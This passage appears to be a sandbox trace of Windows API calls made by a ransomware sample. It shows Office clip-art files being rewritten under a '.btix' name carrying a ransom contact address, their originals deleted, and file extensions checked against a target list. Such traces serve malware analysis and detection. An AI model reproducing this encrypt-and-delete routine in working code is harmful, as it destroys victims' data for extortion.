office\\root\\clipart\\pub60cor\\j0199303.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.264] GetLastError () returned 0x0 [0158.264] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7c4e, lpOverlapped=0x0) returned 1 [0158.266] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7c50, lpOverlapped=0x0) returned 1 [0158.267] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.267] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.267] SetEndOfFile (hFile=0x368) returned 1 [0158.267] CloseHandle (hObject=0x368) returned 1 [0158.268] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.268] SetEndOfFile (hFile=0x39c) returned 1 [0158.268] CloseHandle (hObject=0x39c) returned 1 [0158.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199303.wmf")) returned 1 [0158.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.269] lstrlenW (lpString=".doc") returned 4 [0158.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString=".docx") returned 5 [0158.270] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.270] lstrlenW (lpString=".pdf") returned 4 [0158.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString=".xls") returned 4 [0158.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.270] lstrlenW (lpString=".xlsx") returned 5 [0158.270] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.270] lstrlenW (lpString=".ppt") returned 4 [0158.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.270] lstrlenW (lpString=".zip") returned 4 [0158.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.270] lstrlenW (lpString=".rar") returned 4 [0158.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString=".bz2") returned 4 [0158.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString=".7z") returned 3 [0158.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.270] lstrlenW (lpString=".dbf") returned 4 [0158.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.270] lstrlenW (lpString=".1cd") returned 4 [0158.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199303.WMF") returned 68 [0158.270] lstrlenW (lpString=".jpg") returned 4 [0158.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.270] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.271] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.271] GetLastError () returned 0x0 [0158.271] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2a18, lpOverlapped=0x0) returned 1 [0158.273] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2a20, lpOverlapped=0x0) returned 1 [0158.274] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.274] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.274] SetEndOfFile (hFile=0x368) returned 1 [0158.274] CloseHandle (hObject=0x368) returned 1 [0158.274] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.274] SetEndOfFile (hFile=0x39c) returned 1 [0158.275] CloseHandle (hObject=0x39c) returned 1 [0158.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf")) returned 1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.276] lstrlenW (lpString=".doc") returned 4 [0158.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".docx") returned 5 [0158.276] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.276] lstrlenW (lpString=".pdf") returned 4 [0158.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".xls") returned 4 [0158.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.276] lstrlenW (lpString=".xlsx") returned 5 [0158.276] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.276] lstrlenW (lpString=".ppt") returned 4 [0158.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.276] lstrlenW (lpString=".zip") returned 4 [0158.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.276] lstrlenW (lpString=".rar") returned 4 [0158.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".bz2") returned 4 [0158.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString=".7z") returned 3 [0158.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.276] lstrlenW (lpString=".dbf") returned 4 [0158.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.276] lstrlenW (lpString=".1cd") returned 4 [0158.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0158.277] lstrlenW (lpString=".jpg") returned 4 [0158.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.277] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.277] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.277] GetLastError () returned 0x0 [0158.277] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1484, lpOverlapped=0x0) returned 1 [0158.279] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1490, lpOverlapped=0x0) returned 1 [0158.279] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.280] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.280] SetEndOfFile (hFile=0x368) returned 1 [0158.280] CloseHandle (hObject=0x368) returned 1 [0158.280] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.280] SetEndOfFile (hFile=0x39c) returned 1 [0158.281] CloseHandle (hObject=0x39c) returned 1 [0158.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199475.wmf")) returned 1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.281] lstrlenW (lpString=".doc") returned 4 [0158.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.281] lstrlenW (lpString=".docx") returned 5 [0158.281] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.281] lstrlenW (lpString=".pdf") returned 4 [0158.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString=".xls") returned 4 [0158.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.282] lstrlenW (lpString=".xlsx") returned 5 [0158.282] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.282] lstrlenW (lpString=".ppt") returned 4 [0158.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.282] lstrlenW (lpString=".zip") returned 4 [0158.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.282] lstrlenW (lpString=".rar") returned 4 [0158.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString=".bz2") returned 4 [0158.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString=".7z") returned 3 [0158.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.282] lstrlenW (lpString=".dbf") returned 4 [0158.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.282] lstrlenW (lpString=".1cd") returned 4 [0158.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199475.WMF") returned 68 [0158.282] lstrlenW (lpString=".jpg") returned 4 [0158.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.282] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.282] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.283] GetLastError () returned 0x0 [0158.283] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x27b4, lpOverlapped=0x0) returned 1 [0158.285] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x27c0, lpOverlapped=0x0) returned 1 [0158.286] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.286] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.286] SetEndOfFile (hFile=0x368) returned 1 [0158.286] CloseHandle (hObject=0x368) returned 1 [0158.286] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.286] SetEndOfFile (hFile=0x39c) returned 1 [0158.287] CloseHandle (hObject=0x39c) returned 1 [0158.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf")) returned 1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.288] lstrlenW (lpString=".doc") returned 4 [0158.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString=".docx") returned 5 [0158.288] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.288] lstrlenW (lpString=".pdf") returned 4 [0158.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString=".xls") returned 4 [0158.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.288] lstrlenW (lpString=".xlsx") returned 5 [0158.288] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.288] lstrlenW (lpString=".ppt") returned 4 [0158.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.288] lstrlenW (lpString=".zip") returned 4 [0158.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.288] lstrlenW (lpString=".rar") returned 4 [0158.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString=".bz2") returned 4 [0158.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString=".7z") returned 3 [0158.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.288] lstrlenW (lpString=".dbf") returned 4 [0158.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.288] lstrlenW (lpString=".1cd") returned 4 [0158.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0158.289] lstrlenW (lpString=".jpg") returned 4 [0158.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.290] GetLastError () returned 0x0 [0158.290] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x302c, lpOverlapped=0x0) returned 1 [0158.291] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3030, lpOverlapped=0x0) returned 1 [0158.292] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.292] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.293] SetEndOfFile (hFile=0x368) returned 1 [0158.293] CloseHandle (hObject=0x368) returned 1 [0158.293] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.293] SetEndOfFile (hFile=0x39c) returned 1 [0158.294] CloseHandle (hObject=0x39c) returned 1 [0158.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf")) returned 1 [0158.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.294] lstrlenW (lpString=".doc") returned 4 [0158.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.294] lstrlenW (lpString=".docx") returned 5 [0158.294] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.294] lstrlenW (lpString=".pdf") returned 4 [0158.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.294] lstrlenW (lpString=".xls") returned 4 [0158.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.294] lstrlenW (lpString=".xlsx") returned 5 [0158.295] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.295] lstrlenW (lpString=".ppt") returned 4 [0158.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.295] lstrlenW (lpString=".zip") returned 4 [0158.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.295] lstrlenW (lpString=".rar") returned 4 [0158.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.295] lstrlenW (lpString=".bz2") returned 4 [0158.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.295] lstrlenW (lpString=".7z") returned 3 [0158.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.295] lstrlenW (lpString=".dbf") returned 4 [0158.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.295] lstrlenW (lpString=".1cd") returned 4 [0158.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0158.295] lstrlenW (lpString=".jpg") returned 4 [0158.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.296] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.296] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.296] GetLastError () returned 0x0 [0158.296] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2004, lpOverlapped=0x0) returned 1 [0158.585] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2010, lpOverlapped=0x0) returned 1 [0158.586] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.586] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.586] SetEndOfFile (hFile=0x368) returned 1 [0158.586] CloseHandle (hObject=0x368) returned 1 [0158.586] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.586] SetEndOfFile (hFile=0x39c) returned 1 [0158.587] CloseHandle (hObject=0x39c) returned 1 [0158.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf")) returned 1 [0158.588] lstrlenW 